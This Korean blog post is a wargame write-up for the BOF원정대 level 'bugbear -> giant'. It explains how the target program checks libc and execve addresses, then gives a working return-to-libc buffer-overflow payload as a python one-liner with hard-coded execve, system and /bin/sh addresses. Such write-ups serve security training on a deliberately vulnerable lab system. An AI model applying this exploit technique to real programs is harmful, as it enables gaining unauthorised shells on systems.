nemo의 이야기
BOF원정대 bugbear -> giant 본문
코드를 확인해 보면
1. popen("/usr/bin/ldd /home/giant/assassin
| /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
->assasin에 들어있는 주소를 볼 수 있다. libc
ldd는 프로그램이 사용하는 라이브러리를 보여준다.
awk는 화면에 출력된 내용을 분할이나 파싱할때 쓰인다 (공백으로 분할된다) 각각에 변수를 붙인다.
2. popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
-> execve에 함수 위치를 가져온다
nm을 이용하면 라이브러리에 함수 목록을 가져올 수 있다.
가상메모리와 합친 execve에 주소를 가져올 수 있다.
이제 주소를 확인해보자
40018000과 00091d48이라는 것을 확인 할 수 있다.
두 메모리의 주소를 더하면 400A9d48거 된다
이전 문제와 비슷하게 execve에 주소를 찾고 exeve안에 넣을 인자를 결정하여 공격해보자
첫번쨰 인자는 /bin/sh
두번째 인자는 null이 들어간 포인터 배열
세번째 인자는 null의 주소로하여 공격해보자
system : 40058ae0이고 execve : 400a9d48
/bin/sh는 전에 사용하던 주소로 해보자 0x400fbff9
null값이 이어져 있는 주소는 찾아 넣어주면 된다. 그러면 0xbffffc38과 0xbffffc3c로 하여 공격해보자
"$(python -c 'print "A" *44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\x38\xfc\xff\xbf" + "\x3c\xfc\xff\xbf"')"
'Information security > System security' 카테고리의 다른 글
BOF원정대 assassin -> zombie_assassin (0) | 2018.02.08 |
---|---|
BOF원정대 giant -> assassin (0) | 2018.02.07 |
BOF원정대 darknight -> bugbear (0) | 2018.01.28 |
BOF원정대 golem -> darknight (0) | 2018.01.28 |
BOF원정대 skeleton -> golem (0) | 2018.01.25 |